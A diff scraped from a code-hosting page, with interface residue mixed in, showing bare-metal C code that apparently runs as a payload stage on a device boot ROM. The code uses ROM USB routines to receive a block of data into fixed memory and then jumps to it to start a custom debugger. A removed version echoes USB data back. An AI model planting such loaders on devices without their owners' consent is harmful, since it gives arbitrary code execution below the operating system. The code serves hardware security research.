#define recv_buffer 0x206fe00 //0x02021800 + 0x3000
|
||||||
|
#define data_received 0x206fd00
|
||||||
|
|
||||||
|
void recv_data_cb(uint32_t endpoint, uint32_t len){
|
||||||
|
char *dest_buf = (char *)recv_buffer;
|
||||||
|
volatile void *dref = (void *)data_received;
|
||||||
|
|
||||||
|
void *rbuf = get_endpoint_recv_buffer(endpoint);
|
||||||
|
for(int i= 0; i < len; i++){
|
||||||
|
dest_buf[i] = *(char *)(void *)((int)rbuf + i);
|
||||||
|
}
|
||||||
|
*(uint8_t *)dref = 1; // Mark as ready
|
||||||
|
}
|
||||||
|
|
||||||
|
void recv_data(uint32_t address, uint32_t size){
|
||||||
|
//
|
||||||
|
volatile void *dref = (void *)data_received;
|
||||||
|
*(uint8_t *)dref = 0;
|
||||||
|
|
||||||
|
maybe_usb_setup_read(2, recv_data_cb, 0x200);
|
||||||
|
uint32_t rbuf = get_endpoint_recv_buffer(2);
|
||||||
|
dwc3_ep0_start_trans(2, rbuf, 0x200);
|
||||||
|
while(1){
|
||||||
|
usb_event_handler();
|
||||||
|
if(*(uint8_t *)dref == 1){
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// Copy to destination location
|
||||||
|
char *dest_buf = (char *)address;
|
||||||
|
for(int i= 0; i < size; i++){
|
||||||
|
dest_buf[i] = *(char *)(void *)((int)recv_buffer + i);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// void send_data_cb(uint32_t endpoint, uint32_t len){
|
||||||
|
// // Tell event handler that the data was received
|
||||||
|
// volatile void *dref = (void *)data_received;
|
||||||
|
// *(uint8_t *)dref = 1; // Mark as ready
|
||||||
|
// }
|
||||||
|
|
||||||
|
// void send_data(uint32_t address, uint32_t size){
|
||||||
|
// volatile void *dref = (void *)data_received;
|
||||||
|
// *(uint8_t *)dref = 0;
|
||||||
|
// maybe_usb_setup_read(0x1, send_data_cb, size);
|
||||||
|
// // uint32_t rbuf = get_endpoint_recv_buffer(1);
|
||||||
|
// dwc3_ep0_start_trans(1, address, size);
|
||||||
|
// while(1){
|
||||||
|
// usb_event_handler();
|
||||||
|
// if(*(uint8_t *)dref == 1){
|
||||||
|
// break;
|
||||||
|
// }
|
||||||
|
// }
|
||||||
|
// }
|
||||||
|
#define debugger_location 0x2069000
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
// First payload is 0x2000 in size
|
||||||
|
int block_sz = 0x200;
|
||||||
|
int to_recv = 0x2000;
|
||||||
|
for(int block = 0; block < to_recv; block+=block_sz){
|
||||||
|
recv_data(0x2069000 + block, block_sz);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Create function at debugger_location
|
||||||
|
void (*custom_func)() = (void*)0x2069000; //mem_off;
|
||||||
|
custom_func();
|
||||||
|
|
||||||
|
// uint32_t count = 0;
|
||||||
|
// while(1){
|
||||||
|
// // recv_data();
|
||||||
|
// // send_data(recv_buffer, 0x200);
|
||||||
|
// // send_data("GiAs", 4);
|
||||||
|
// }
|
||||||
|
}
|
@ -1,72 +0,0 @@
|
|||||||
#include <stdint.h>
|
|
||||||
|
|
||||||
// Create external function at 0x00006f88
|
|
||||||
extern void maybe_usb_setup_read(char endpoint,void *fun,uint32_t target_buffer);
|
|
||||||
extern void dwc3_ep0_start_trans(char endpoint,uint32_t target_buf, uint32_t len);
|
|
||||||
extern int usb_event_handler(void);
|
|
||||||
extern uint32_t get_endpoint_recv_buffer(char endpoint);
|
|
||||||
extern void sleep(int endpoint,uint32_t timeout);
|
|
||||||
extern void usb_send(uint32_t address,uint32_t size);
|
|
||||||
extern void rom_send();
|
|
||||||
|
|
||||||
#define recv_buffer 0x02021800 + 0x3000
|
|
||||||
#define data_received 0x02021800 + 0x2004
|
|
||||||
|
|
||||||
void recv_data_cb(uint32_t endpoint, uint32_t len){
|
|
||||||
char *dest_buf = (char *)recv_buffer;
|
|
||||||
volatile void *dref = (void *)data_received;
|
|
||||||
|
|
||||||
void *rbuf = get_endpoint_recv_buffer(endpoint);
|
|
||||||
for(int i= 0; i < len; i++){
|
|
||||||
dest_buf[i] = *(char *)(void *)((int)rbuf + i);
|
|
||||||
}
|
|
||||||
*(uint8_t *)dref = 1; // Mark as ready
|
|
||||||
}
|
|
||||||
|
|
||||||
void recv_data(){
|
|
||||||
// Set data_received to 0
|
|
||||||
// uint32_t *r = (uint32_t *) data_received;
|
|
||||||
// r = 0;
|
|
||||||
volatile void *dref = (void *)data_received;
|
|
||||||
*(uint8_t *)dref = 0;
|
|
||||||
|
|
||||||
maybe_usb_setup_read(2, recv_data_cb, 0x200);
|
|
||||||
uint32_t rbuf = get_endpoint_recv_buffer(2);
|
|
||||||
dwc3_ep0_start_trans(2, rbuf, 0x200);
|
|
||||||
while(1){
|
|
||||||
usb_event_handler();
|
|
||||||
if(*(uint8_t *)dref == 1){
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
void send_data_cb(uint32_t endpoint, uint32_t len){
|
|
||||||
// Tell event handler that the data was received
|
|
||||||
volatile void *dref = (void *)data_received;
|
|
||||||
*(uint8_t *)dref = 1; // Mark as ready
|
|
||||||
}
|
|
||||||
|
|
||||||
void send_data(uint32_t address, uint32_t size){
|
|
||||||
volatile void *dref = (void *)data_received;
|
|
||||||
*(uint8_t *)dref = 0;
|
|
||||||
maybe_usb_setup_read(0x1, send_data_cb, 0x200);
|
|
||||||
// uint32_t rbuf = get_endpoint_recv_buffer(1);
|
|
||||||
dwc3_ep0_start_trans(1, address, 0x200);
|
|
||||||
while(1){
|
|
||||||
usb_event_handler();
|
|
||||||
if(*(uint8_t *)dref == 1){
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
int main() {
|
|
||||||
|
|
||||||
uint32_t count = 0;
|
|
||||||
while(1){
|
|
||||||
recv_data();
|
|
||||||
send_data(recv_buffer, 0x200);
|
|
||||||
}
|
|
||||||
}
|
|
Loading…
Reference in New Issue
Block a user